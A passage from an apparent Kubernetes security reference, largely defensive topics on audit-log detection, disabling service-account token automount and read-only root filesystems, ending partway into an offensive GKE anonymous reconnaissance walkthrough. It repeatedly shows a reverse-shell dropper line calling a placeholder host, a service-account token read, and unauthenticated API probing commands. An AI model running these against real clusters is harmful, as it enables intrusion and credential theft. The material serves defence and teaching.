"order-service-7d4f9c8b6-x9r2k", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 201 }, "requestReceivedTimestamp": "2026-04-11T15:20:12.849509Z", "stageTimestamp": "2026-04-11T15:20:12.854510Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "RBAC: allowed by ClusterRoleBinding \"default-pod-create\" of ClusterRole \"edit\" to ServiceAccount \"deployer/production\"" } } ``` The `requestURI` contains no `fieldManager` query parameter since that is added by kubectl, not by raw API calls. The `userAgent` shows `curl/8.7.1` rather than a kubectl version string. The `userAgent` field is set by the client and can be spoofed. An attacker using `curl` can pass `-H "User-Agent: kubectl/v1.35.3 (linux/amd64) kubernetes/6c1cd99"` to mimic a kubectl call. The most reliable field for detection remains `user.username`, regardless of what the client claims in its headers. ## Detection Queries Assuming API server audit logs are shipped to Loki with the label `{job="k8s-audit"}`. ### Detect non-controller pod creation Filter for pod creation by identities outside the known controller allowlist: ```bash logcli query '{job="k8s-audit"} |= "resource":"pods" |= "verb":"create" !~ "username":"system:serviceaccount:kube-system:"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, pod: .objectRef.name, namespace: .objectRef.namespace, timestamp: .requestReceivedTimestamp}' ``` ```output { "user": "jane", "pod": "order-service-7d4f9c8b6-m4l1c", "namespace": "production", "timestamp": "2026-04-11T14:59:02.015967Z" } ``` ### Confirm with ownerReferences Once the audit log surfaces a candidate, check whether the pod has a parent controller: ```bash kubectl get pods -n \ -o custom-columns='NAME:.metadata.name,OWNER:.metadata.ownerReferences[0].kind,OWNER_NAME:.metadata.ownerReferences[0].name' ``` ```output NAME OWNER OWNER_NAME order-service-7d4f9c8b6-xkp2t ReplicaSet order-service-7d4f9c8b6 order-service-7d4f9c8b6-rn7qw ReplicaSet order-service-7d4f9c8b6 order-service-7d4f9c8b6-m4l1c ``` A pod flagged by the audit log that also shows `` for both owner columns confirms the masquerading pattern. ## Known Legitimate Pod Creators Any pod creation from an identity outside this list warrants investigation: | Service Account | Responsible for | | --- | --- | | `system:serviceaccount:kube-system:replicaset-controller` | Deployment and ReplicaSet pods | | `system:serviceaccount:kube-system:statefulset-controller` | StatefulSet pods | | `system:serviceaccount:kube-system:daemon-set-controller` | DaemonSet pods | | `system:serviceaccount:kube-system:job-controller` | Job pods | | `system:serviceaccount:kube-system:cronjob-controller` | CronJob pods | | `system:kube-scheduler` | Scheduling binding events | ## Audit Policy Requirements A minimal audit policy that captures both signals: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata resources: - group: "" resources: ["pods"] ``` `Metadata` level is sufficient to capture the `user.username`, `userAgent`, and `requestURI` fields needed for detection. ## Limitations This detection depends on audit logging being enabled with at least `Metadata` level coverage for the `pods` resource. A minimal audit policy that satisfies this requirement: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata resources: - group: "" resources: ["pods"] ``` Check the API server for the `--audit-policy-file` flag to confirm a policy is active. Clusters without it configured produce no audit events and cannot surface this signal. Direct pod creation by a legitimate operator also appears in this output. Treat each result as a lead that requires the ownerReferences confirmation step rather than an automated alert. ### Detecting Permission Enumeration via Audit Logs HTML: https://kubernetes-security.cloud/topics/detecting-permission-enumeration-audit Markdown: https://kubernetes-security.cloud/topics/detecting-permission-enumeration-audit.md --- title: "Detecting Permission Enumeration via Audit Logs" description: "Spotting enumeration of current RBAC access by auditing SelfSubjectRulesReview events" category: "defensive" phase: null offensiveType: null impact: "When audit logging records SelfSubjectRulesReview, you can see who listed their effective permissions. When it does not, that enumeration is easy to miss in an investigation." mitigation: - "Turn on the Kubernetes audit log and use a policy that records `authorization.k8s.io` `selfsubjectrulesreviews`, or another rule that still catches it (for example a broader resource match)." - "Send audit logs to central storage and keep enough retention for incident response." - "Treat bumps in SelfSubjectRulesReview as one signal among many. On their own they do not prove malicious intent." - "Limit who can read audit data and who can edit the audit policy." tools: - "kubectl" mitreTechniques: [] kubernetesVersion: null createdAt: "2026-04-05T00:00:00.000Z" --- ## LLM Action Focus - Primary action: How the request shows up - Category: defensive - Phase: N/A - Objective: Spotting enumeration of current RBAC access by auditing SelfSubjectRulesReview events ### Action checklist - How the request shows up - Does audit logging record it? - Search for permission enumeration - Detect enumeration combined with impersonation ### Key commands - `TOKEN=""` - `APISERVER="https://kubernetes.default.svc"` - `CACERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"` - `NAMESPACE="default"` - `curl --cacert "$CACERT" \` - `-X POST "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \` - `-H "Authorization: Bearer $TOKEN" \` - `-H "Content-Type: application/json" \` - `-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"${NAMESPACE}\"}}"` - `cat /var/log/kubernetes/audit.log | jq -R 'fromjson? | select(` --- Attackers and insiders often want to know what their current identity can do before they move sideways or try to escalate. One common way is `kubectl auth can-i --list`, which creates a `SelfSubjectRulesReview` in the `authorization.k8s.io` API group. The same call shows up when people debug RBAC honestly. Audit logs can record who asked for that review so you can line it up with other activity. > [!NOTE] > Kubernetes audit logging must be enabled on the API server, with an audit policy that records `selfsubjectrulesreviews` and `subjectrulesreviews` (or still matches these requests). ## Signal 1: SelfSubjectRulesReview Creation `kubectl auth can-i --list` creates a `SelfSubjectRulesReview`. On current Kubernetes APIs that is a `POST` to `/apis/authorization.k8s.io/v1/selfsubjectrulesreviews` with `spec.namespace` set to the namespace you care about. The audit entry shows `verb` set to `create`, the `user` and `groups` fields, and `objectRef` pointing at `selfsubjectrulesreviews`. ### How the request shows up If you run the command with `--as` or `--as-group`, check whether the audit payload shows impersonation the way you expect. Behavior depends on how auditing is configured. #### How impersonation is logged Audit events are written after the API server has authenticated and authorized the request. The caller that actually authenticated (the bearer token, client cert, or whatever your cluster uses) is recorded under `user` with `username` and `groups`. If the request carried `Impersonate-User`, `Impersonate-Group`, or related headers and the server accepted them, the identity you were acting as is recorded separately under `impersonatedUser`, again with `username` and `groups`. You are not supposed to see a single blended identity, the log keeps the real subject and the impersonated subject apart so you can tell who held the credential and who they became for authorization. When there is no impersonation, `impersonatedUser` is usually missing or empty. Field names and nesting follow the [Kubernetes audit Event type](https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/#audit-k8s-io-v1-Event) your audit policy level still has to include enough detail for those fields to appear. Any client that sends the same `POST` will show up the same way in audit. This matches `kubectl auth can-i --list -n "$NAMESPACE"` if you fill in `TOKEN`, `APISERVER`, `CACERT`, and `NAMESPACE` for your setup. ```bash TOKEN="" APISERVER="https://kubernetes.default.svc" CACERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" NAMESPACE="default" curl --cacert "$CACERT" \ -X POST "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"${NAMESPACE}\"}}" ``` The response body includes `status` with the rule lists, which is the same material `kubectl` prints for `--list`. If you are testing impersonation, add the usual `Impersonate-User` and `Impersonate-Group` headers and keep them inside what your RBAC allows. ### Does audit logging record it? #### Policy sketch Use something your security standards allow. This only shows the rough shape of a rule aimed at that resource: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata verbs: ["create"] resources: - group: "authorization.k8s.io" resources: ["selfsubjectrulesreviews"] ``` `Request` and `RequestResponse` add more payload detail and more noise. `Metadata` is often enough to detect and triage. Log paths and shipping vary by install (local file on the control plane, agent on the node, cloud logging). Kubernetes audit output is usually newline-delimited JSON. Here is one example of how you might parse it, it reads `/var/log/kubernetes/audit.log`, walks each line, and keeps `ResponseComplete` events for either `selfsubjectrulesreviews` or `subjectrulesreviews`. That catches permission reviews whether the caller used their own identity only or combined them with impersonation (the same audit line shape carries `user` and, when applicable, `impersonatedUser`). Point the path at your real log file and adjust the filter to match how you ship or slice logs. ```bash cat /var/log/kubernetes/audit.log | jq -R 'fromjson? | select( .stage=="ResponseComplete" and (.objectRef.resource=="selfsubjectrulesreviews" or .objectRef.resource=="subjectrulesreviews") )' ``` Example audit event (abbreviated) showing both the authenticated caller and impersonation: ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "ba1f4000-c061-43a6-a187-b449c3c1c44e", "stage": "ResponseComplete", "requestURI": "/apis/authorization.k8s.io/v1/selfsubjectrulesreviews", "verb": "create", "user": { "username": "bob", "groups": [ "demo", "system:authenticated" ], "extra": { "authentication.kubernetes.io/credential-id": [ "X509SHA256=12b6ad02ec15b22053e38c245f8a0124e42c8d008a4b655d39be828e936c3037" ] } }, "impersonatedUser": { "username": "arbitrary", "groups": [ "system:masters", "system:authenticated" ] }, "sourceIPs": [ "192.168.49.1" ], "userAgent": "kubectl/v1.35.3 (darwin/arm64) kubernetes/6c1cd99", "objectRef": { "resource": "selfsubjectrulesreviews", "apiGroup": "authorization.k8s.io", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 201 }, "requestReceivedTimestamp": "2026-04-05T06:31:19.547038Z", "stageTimestamp": "2026-04-05T06:31:19.548962Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "" } } ``` - `user` is the authenticated subject (who signed the request). When impersonation was used, `impersonatedUser` is the identity the server treated as effective for that call. - `responseStatus.code` is the HTTP-style status from the API server (for example `201` or `200` when things worked). - `stageTimestamp` (or `requestReceivedTimestamp`) is when the stage was recorded on the event. ## Detection Queries Assuming API server audit logs are shipped to Loki with the label `{job="k8s-audit"}`. ### Search for permission enumeration Filter for `SelfSubjectRulesReview` creation events: ```bash logcli query '{job="k8s-audit"} |= "resource":"selfsubjectrulesreviews" |= "verb":"create"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, timestamp: .requestReceivedTimestamp}' ``` ### Detect enumeration combined with impersonation Filter for events where both `selfsubjectrulesreviews` and `impersonatedUser` are present: ```bash logcli query '{job="k8s-audit"} |= "resource":"selfsubjectrulesreviews" |= "verb":"create" |= "impersonatedUser"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, impersonated: .impersonatedUser.username, timestamp: .requestReceivedTimestamp}' ``` ## Known Legitimate Enumeration Patterns Admins and CI run `--list` for good reasons all the time. The following are common authorized uses: | Source | Typical use | | --- | --- | | Cluster operators | Debugging RBAC for another user | | CI/CD pipelines | Verifying deployment permissions | | Developers | Checking their own access before running commands | Treat this as one clue next to other signals, not as a smoking gun on its own. A burst of `SelfSubjectRulesReview` requests from the same identity across multiple namespaces in a short window is a secondary signal. ## Audit Policy Requirements A minimal audit policy that captures permission enumeration: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata verbs: ["create"] resources: - group: "authorization.k8s.io" resources: ["selfsubjectrulesreviews"] ``` `Metadata` level is often enough to detect and triage. `Request` and `RequestResponse` add more payload detail and more noise. If you never turned on auditing or the backend, enumeration will not show up in the Kubernetes audit trail. You might still have provider control-plane logs. That depends on the platform. Busy clusters sometimes aggregate or sample logs. Make sure your pipeline is not dropping the lines you need. It is not just kubectl. Any code path that creates the same object (SDKs, controllers, one-off scripts) produces the same audit shape. Other authorization APIs exist (`SelfSubjectAccessReview`, `SubjectAccessReview`, and others). ### Disable Automatic Mounting of Default Service Account Tokens HTML: https://kubernetes-security.cloud/topics/disable-automount-service-account-token Markdown: https://kubernetes-security.cloud/topics/disable-automount-service-account-token.md --- title: "Disable Automatic Mounting of Default Service Account Tokens" description: "Preventing token theft by controlling service account token mounting" category: "defensive" phase: null offensiveType: null impact: "The default service account is not inherently privileged and only becomes a risk when associated with elevated roles or role bindings." mitigation: - "Disable automounting for service accounts that don't need API access" - "Create dedicated accounts with minimal permissions" tools: [] mitreTechniques: [] kubernetesVersion: null createdAt: "2026-01-10T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Disable Automatic Mounting of Default Service Account Tokens - Category: defensive - Phase: N/A - Objective: Preventing token theft by controlling service account token mounting ### Action checklist ### Key commands - `TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)` - `curl -k -H "Authorization: Bearer $TOKEN" \` - `https://kubernetes.default.svc/api/v1/namespaces/default/secrets` --- By default, Kubernetes automatically mounts a service account token into every pod. While the default service account has minimal permissions, custom service accounts with elevated RBAC roles become dangerous attack vectors when their tokens are auto-mounted. The **default** service account in the cluster has **no special permissions** by default. An attacker stealing a default SA token can only: - Authenticate to the API server - Get denied on most operations since it's not bound to any role with elevated permissions The real risk is with **custom service accounts** that have been granted elevated permissions via **RoleBindings** or **ClusterRoleBindings**. Anyone who has access to the pod will be able to fetch the default token using the command below: ```bash TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -k -H "Authorization: Bearer $TOKEN" \ https://kubernetes.default.svc/api/v1/namespaces/default/secrets ``` ```output { "kind": "Status", "apiVersion": "v1", "metadata": {}, "status": "Failure", "message": "secrets is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"secrets\" in API group \"\" in the namespace \"default\"", "reason": "Forbidden", "details": { "kind": "secrets" }, "code": 403 } ``` If you try accessing different resources (pods, deployments, configmaps, etc.), most requests will be denied with the default token. ## Disabling Auto-Mounting You can set **automountServiceAccountToken: false** on the **default** service account to prevent pods from automatically mounting the token: ```yaml kubectl apply -f - <& /dev/tcp/192.0.2.1/4444 0>&1\n' > /bin/netstat` - `ls -la /bin/netstat` - `kubectl label namespace pod-security.kubernetes.io/enforce=restricted` - `kubectl label namespace \` - `pod-security.kubernetes.io/warn=restricted \` - `pod-security.kubernetes.io/audit=restricted` - `cat /proc/mounts | grep -E "/tmp|/scratch"` - `echo "app runtime data" > /tmp/gunicorn.pid && cat /tmp/gunicorn.pid` - `kubectl get pods -A -o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,READONLY:.spec.containers[*].securityContext.readOnlyRootFilesystem'` --- A writable root filesystem gives an attacker with code execution inside a container a lot of room to move. They can drop tools to `/bin`, write reverse shells to `/tmp`, or overwrite existing binaries before anyone notices. Setting `readOnlyRootFilesystem: true` in the container security context tells the kernel to mount the root filesystem read-only, which blocks those writes. The one exception is a container running as privileged, which can remount the filesystem and bypass this control entirely. ## The Attack Without This Control With code execution in a container, dropping a file takes one command: ```bash printf '#!/bin/bash\nbash -i >& /dev/tcp/192.0.2.1/4444 0>&1\n' > /bin/netstat ls -la /bin/netstat ``` ```output -rw-r--r-- 1 root root 52 Apr 11 05:23 /bin/netstat ``` The write succeeds and nothing in the Kubernetes audit log records it. The file stays on the container filesystem until the container restarts or the pod terminates. Without a runtime security tool watching for unexpected filesystem writes, there is no signal that this happened. ## Enforcing at the Namespace Level with Pod Security Admission Pod Security Admission is built into Kubernetes (beta since v1.23, stable since v1.25) and requires no additional tooling. Applying the `restricted` profile to a namespace rejects pods that do not meet its required controls: `allowPrivilegeEscalation: false`, `capabilities.drop: ["ALL"]`, a non-root user, and a seccomp profile. `readOnlyRootFilesystem: true` is not part of the `restricted` profile and must be set explicitly on each container. ```bash kubectl label namespace pod-security.kubernetes.io/enforce=restricted ``` Any pod submitted to that namespace without the correct security context is immediately rejected at admission: ```output Error from server (Forbidden): pods "nginx" is forbidden: violates PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "nginx" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "nginx" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "nginx" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "nginx" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") ``` Before switching to `enforce` mode, apply `warn` and `audit` labels first. Warn mode prints a violation warning to whoever submitted the pod but still creates it. Audit mode records the violation in the API server audit log without blocking anything. Running both against a namespace before enforcing gives you a list of non-compliant workloads without taking anything down. ```bash kubectl label namespace \ pod-security.kubernetes.io/warn=restricted \ pod-security.kubernetes.io/audit=restricted ``` Submitting a non-compliant pod under warn mode produces a warning but the pod is created: ```output Warning: would violate PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "app" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "app" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "app" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "app" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") pod/app created ``` ## Compliant Pod Specification A pod that satisfies the `restricted` profile with `readOnlyRootFilesystem: true`: ```yaml apiVersion: v1 kind: Pod metadata: name: immutable-app spec: securityContext: runAsNonRoot: true runAsUser: 1000 seccompProfile: type: RuntimeDefault containers: - name: app image: your-app-image securityContext: readOnlyRootFilesystem: true allowPrivilegeEscalation: false capabilities: drop: ["ALL"] ``` With this in place, any write to the root filesystem is blocked: ```bash printf '#!/bin/bash\nbash -i >& /dev/tcp/192.0.2.1/4444 0>&1\n' > /bin/netstat ``` ```output bash: /bin/netstat: Read-only file system ``` ## Allowing Legitimate Writes with Volumes `readOnlyRootFilesystem: true` applies to the **entire root filesystem**, not to specific directories. Every path is read-only by default, including `/bin`, `/etc`, `/usr`, `/var`, and `/tmp`. Writable paths work by mounting a volume at the required path. The volume takes precedence over the read-only root at that mount point, making that specific path writable while the rest of the filesystem stays locked. Mounting a volume at `/etc` makes `/etc` writable. Everything else, including `/bin`, stays read-only. The scope of write access is entirely determined by where you mount volumes. Two volume types cover most use cases: - **`emptyDir` with `medium: Memory`** is backed by `tmpfs`. It is cleared when the pod terminates. When a container memory limit is set, the tmpfs size is capped to that limit. Good for scratch space, Unix sockets, and any temporary file that does not need to survive a restart. - **`emptyDir` without a medium** writes to the node's disk and persists for the pod's lifetime. You can confirm the actual backing storage by checking `/proc/mounts` inside the container: ```bash cat /proc/mounts | grep -E "/tmp|/scratch" ``` ```output tmpfs /tmp tmpfs rw,relatime,size=12235320k 0 0 /dev/vda1 /scratch ext4 rw,relatime,discard 0 0 ``` The memory-backed mount shows `tmpfs` while the disk-backed mount shows the node's block device with an `ext4` filesystem. For data that needs to outlive the pod, such as uploaded files or logs that feed an external system, mount a **PersistentVolumeClaim** at that path instead. ```yaml containers: - name: app securityContext: readOnlyRootFilesystem: true allowPrivilegeEscalation: false capabilities: drop: ["ALL"] volumeMounts: - name: tmp mountPath: /tmp - name: cache mountPath: /var/cache/app - name: logs mountPath: /var/log/app volumes: - name: tmp emptyDir: medium: Memory - name: cache emptyDir: {} - name: logs persistentVolumeClaim: claimName: app-logs-pvc ``` Writes to mounted paths succeed while the root filesystem stays read-only: ```bash echo "app runtime data" > /tmp/gunicorn.pid && cat /tmp/gunicorn.pid printf '#!/bin/bash\nbash -i >& /dev/tcp/192.0.2.1/4444 0>&1\n' > /bin/netstat ``` ```output app runtime data bash: /bin/netstat: Read-only file system ``` ## Adapting Applications for a Read-Only Filesystem Enabling `readOnlyRootFilesystem: true` on an existing workload without checking what it writes will crash it on startup. The container enters `CrashLoopBackOff` and the logs tell you exactly which path failed: ```output sh: can't create /var/run/app.pid: Read-only file system ``` The approach is to turn the control on, let the application fail, read the error, add a volume mount for that path, and repeat. Most applications stop failing after two or three mounts. These paths show up the most: | Path | Common use | | --- | --- | | `/tmp` | Temporary files, build artifacts, downloaded content | | `/var/run` | PID files, Unix sockets | | `/var/cache` | Application caches | | `/var/log` | Log files | | `/home/` | Home directory writes for the container's runtime user | Applications that write logs to stdout rather than to files on disk do not need `/var/log` at all. For those, `/tmp` and `/var/run` covered by memory-backed `emptyDir` volumes is usually enough. Some applications write to paths that cannot be remapped, such as binaries that hardcode `/etc` or write back into their own install directory under `/usr`. Before mounting a writable volume at a path like `/etc`, consider what that gives up. A writable `/etc` inside the container lets an attacker modify DNS resolution, PAM configuration, and other sensitive files just as easily as the application can. ## Checking for Non-Compliant Workloads Run this against any cluster to see which pods have `readOnlyRootFilesystem` set and which do not: ```bash kubectl get pods -A -o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,READONLY:.spec.containers[*].securityContext.readOnlyRootFilesystem' ``` ```output NAMESPACE NAME READONLY kube-system etcd-minikube kube-system kube-apiserver-minikube kube-system kube-scheduler-minikube ``` A value of `` means the field is unset, which defaults to `false`. Those workloads have a writable root filesystem. ## Limitations `readOnlyRootFilesystem: true` controls where files can be written, not whether code runs. An attacker with a shell can still execute whatever binaries are in the image: `curl`, `bash`, `python`, or anything else the image ships with. The read-only filesystem stops them from dropping new tools but ignores the ones already present. Pairing this with a minimal base image (distroless or scratch) removes most of that pre-existing surface. Any writable volume mount is also reachable by an attacker who can exec into the pod. If `/tmp` is mounted as a writable `emptyDir`, they can write to `/tmp`. The control narrows where writes land, not whether writes happen at all. A container running as `privileged: true` can call `mount -o remount,rw /` and undo the restriction entirely. `readOnlyRootFilesystem` should always be paired with `privileged: false` and `capabilities.drop: ["ALL"]`. The `restricted` Pod Security Standard enforces the latter two but not `readOnlyRootFilesystem` itself. ### GKE Anonymous Reconnaissance HTML: https://kubernetes-security.cloud/topics/gke-anonymous-reconnaissance Markdown: https://kubernetes-security.cloud/topics/gke-anonymous-reconnaissance.md --- title: "GKE Anonymous Reconnaissance" description: "Exposing GKE patch versions and cluster configuration to unauthenticated clients when anonymousAuthenticationConfig is ENABLED" category: "offensive" phase: "reconnaissance" offensiveType: "reconnaissance" impact: "Reveals the exact Kubernetes patch version to unauthenticated callers on the public API endpoint when anonymousAuthenticationConfig is set to ENABLED. If a binding from system:unauthenticated to a discovery role is also present, the surface extends to installed API groups and addon CRD schemas, supplying the fingerprint an attacker needs to pick targeted exploits without holding any credential" mitigation: - "Set **anonymousAuthenticationConfig.mode** to `LIMITED` (default on recent GKE versions). `LIMITED` rejects anonymous requests at the authentication stage for everything except `/healthz`, `/livez`, and `/readyz`, regardless of which RBAC bindings exist for `system:unauthenticated`" - "Set **enableInsecureBindingSystemUnauthenticated** to `false`. The legacy `system:public-info-viewer` ClusterRoleBinding to `system:unauthenticated` is removed at cluster creation, leaving anonymous requests with no permissions even if the mode is later flipped to `ENABLED`" - "Audit ClusterRoleBindings that name `system:unauthenticated` or `system:anonymous` as a subject. The default GKE setup has only `system:public-info-viewer`. Any custom binding to a broader role like `system:discovery` opens the full discovery surface under `ENABLED`" - "Configure **masterAuthorizedNetworks** with the smallest set of source CIDRs that need to reach the control plane. The default behavior of leaving the public endpoint reachable from `0.0.0.0/0` is the precondition that makes pre-auth recon possible from anywhere" - "Prefer a **private cluster** with the public endpoint disabled. Anonymous discovery from the public internet becomes impossible regardless of mode" - "Alert on changes to **anonymousAuthenticationConfig** via Cloud Asset Inventory feeds. A flip from `LIMITED` to `ENABLED` is rarely intentional outside of explicit lab work" tools: [] mitreTechniques: - "T1526" - "T1590" - "T1592" - "T1596" - "T1613" kubernetesVersion: null createdAt: "2026-05-18T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Identify the API endpoint - Category: offensive - Phase: Reconnaissance - Objective: Exposing GKE patch versions and cluster configuration to unauthenticated clients when anonymousAuthenticationConfig is ENABLED ### Action checklist - `anonymousAuthenticationConfig.mode` is `ENABLED`. - The API endpoint is reachable from the attacker's network. - A ClusterRoleBinding exists from `system:unauthenticated` (or `system:anonymous`) to a role granting `/api`, `/apis`, or `/openapi/*`. The default role that grants these is `system:discovery`. - **Clusters created before the `LIMITED` default rollout.** The field did not exist, and behavior matched `ENABLED`. GKE does not retroactively change the mode on upgrade, so operators must explicitly update. - **Clusters where `mode: ENABLED` was set deliberately** to support an older controller, an external auth proxy, or a custom audit tool that relies on anonymous discovery. - **Clusters provisioned by IaC modules that hardcode `ENABLED`** because the module was written before the default changed. The cluster looks compliant on `gcloud container clusters describe` until someone reads the mode field specifically. ### Key commands - `echo "$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"` - `echo | openssl s_client -connect 203.0.113.10:443 -showcerts 2>/dev/null \` - `| openssl x509 -noout -subject -issuer` - `API="https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"` - `for p in /version /healthz /livez /readyz /api /apis /openapi/v2 /openapi/v3 /metrics; do` - `code=$(curl -sk -o /dev/null -w "%{http_code}" "$API$p")` - `echo "$code $p"` - `done` - `curl -sk "$API/version"` - `curl -sk "$API/apis" | jq -r '.groups[].name' | sort -u` --- Recent GKE versions ship with `anonymousAuthenticationConfig.mode: LIMITED`, which restricts anonymous requests to the three health endpoints (`/healthz`, `/livez`, `/readyz`) and rejects everything else at the authentication stage. On clusters where the mode is set to `ENABLED`, the attack surface opens in two stages. The first stage is automatic when `ENABLED` is set, and anonymous can read `/version` plus the health endpoints. The second stage requires an additional misconfiguration, namely a ClusterRoleBinding that names `system:unauthenticated` or `system:anonymous` as a subject and references a discovery role such as `system:discovery`. The second stage exposes the full discovery surface. The two stages exist because GKE preserves only one default binding to `system:unauthenticated`, namely `system:public-info-viewer`, and that role grants only `/version` plus the health endpoints. The role that grants `/api`, `/apis`, and `/openapi/*` is `system:discovery`, which by default is bound to `system:authenticated` only. So flipping the mode without adding another binding leaks the patch version but not the API group inventory. > [!IMPORTANT] > Anonymous authentication is a Kubernetes-level concept, not GKE-specific. The same `system:public-info-viewer` binding exists in vanilla Kubernetes. GKE's contribution is the `LIMITED` mode, which short-circuits the authentication step so the binding is never reached, and the `enableInsecureBindingSystemUnauthenticated` flag, which controls whether the default bindings to `system:unauthenticated` exist at all. ## The two modes `anonymousAuthenticationConfig.mode` on GKE accepts two values. | Mode | Anonymous request behavior | |---|---| | `ENABLED` | Anonymous requests are authenticated as user `system:anonymous` in group `system:unauthenticated`. RBAC then decides what they can do. With only the default `system:public-info-viewer` binding, anonymous reaches `/healthz`, `/livez`, `/readyz`, `/version`. Other endpoints return 403. | | `LIMITED` | Anonymous requests are accepted only for `/healthz`, `/livez`, `/readyz`. Everything else returns 401 before RBAC is consulted. | There is no `DISABLED` value in the GKE flag enum. The closest equivalent is to set the mode to `LIMITED` and additionally set `enableInsecureBindingSystemUnauthenticated` to `false`, which removes the RBAC bindings to the unauthenticated group entirely. ## Attack precondition check The attack requires conditions to align on the target cluster. For Stage 1 (patch version leak): 1. `anonymousAuthenticationConfig.mode` is `ENABLED`. 2. The API endpoint is reachable from the attacker's network. For Stage 2 (broader discovery): 3. A ClusterRoleBinding exists from `system:unauthenticated` (or `system:anonymous`) to a role granting `/api`, `/apis`, or `/openapi/*`. The default role that grants these is `system:discovery`. From an attacker's perspective, all three conditions are observable without credentials. The probe in Step 2 answers them by inspecting HTTP response codes. ## The attack sequence The attacker probes the API endpoint without credentials, reads the response codes to determine which stage of misconfiguration the cluster is in, then extracts whichever fingerprint information is reachable. ### Step 1: Identify the API endpoint GKE control plane endpoints live in Google's public IP space. The TLS certificate served on the endpoint reveals the cluster type. From inside a compromised pod, the in-cluster Service exposes the same API server on `kubernetes.default.svc`: ```bash echo "$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT" ``` ```output 10.96.0.1:443 ``` From outside the cluster, the public endpoint can be enumerated from project-wide GCE network scans or recovered from a leaked `kubeconfig`, terraform state, or screenshot. Once an endpoint is in hand, fetch the certificate to confirm it is a GKE control plane: ```bash echo | openssl s_client -connect 203.0.113.10:443 -showcerts 2>/dev/null \ | openssl x509 -noout -subject -issuer ``` ```output subject=CN = 203.0.113.10 issuer=CN = aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee ``` The issuer CN is a UUID identifying the GKE-internal cluster CA. That format alone is a strong tell that the endpoint is a GKE control plane. ### Step 2: Probe anonymous reachability Send unauthenticated requests against a small set of well-known endpoints and observe response codes. From inside a compromised pod (no Authorization header, no SA token): ```bash API="https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT" for p in /version /healthz /livez /readyz /api /apis /openapi/v2 /openapi/v3 /metrics; do code=$(curl -sk -o /dev/null -w "%{http_code}" "$API$p") echo "$code $p" done ``` Three outcome shapes are possible. The shape itself classifies the cluster. **`mode: LIMITED` (the recent GKE default).** Authentication is rejected outside the health endpoints. ```output 401 /version 200 /healthz 200 /livez 200 /readyz 401 /api 401 /apis 401 /openapi/v2 401 /openapi/v3 401 /metrics ``` The 401 on `/version` is the signal that the cluster is in `LIMITED`. Nothing else is reachable without credentials. **`mode: ENABLED`, default bindings only (Stage 1).** Anonymous succeeds at authentication but only `system:public-info-viewer` is bound, which covers `/version` plus health. ```output 200 /version 200 /healthz 200 /livez 200 /readyz 403 /api 403 /apis 403 /openapi/v2 403 /openapi/v3 403 /metrics ``` The 403 (not 401) responses on `/api`, `/apis`, `/openapi/*` are the signal that authentication succeeded but the unauthenticated group lacks the binding for those endpoints. The patch version (Step 3) is still reachable. **`mode: ENABLED`, with a binding to a discovery role (Stage 2).** A custom CRB names `system:unauthenticated` against `system:discovery`, or an equivalent role covers the discovery `nonResourceURLs`. ```output 200 /version 200 /healthz 200 /livez 200 /readyz 200 /api 200 /apis 200 /openapi/v2 200 /openapi/v3 403 /metrics ``` Full discovery surface is reachable. `/metrics` remains 403 because `system:discovery` does not include `/metrics`. Continue with Steps 4 and 5. > [!TIP] > A 200 on `/healthz` alone tells the attacker nothing about anonymous mode. Health endpoints respond identically under `ENABLED` and `LIMITED`. The 200 on `/version` is the oracle for Stage 1 and above. The 200 on `/apis` is the oracle for Stage 2. ### Step 3: Extract version and patch level The `/version` endpoint returns the exact Kubernetes server version including the GKE-specific suffix. This is reachable in Stage 1 and Stage 2 alike. Used directly for exploit selection. ```bash curl -sk "$API/version" ``` ```output { "major": "1", "minor": "35", "emulationMajor": "1", "emulationMinor": "35", "minCompatibilityMajor": "1", "minCompatibilityMinor": "34", "gitVersion": 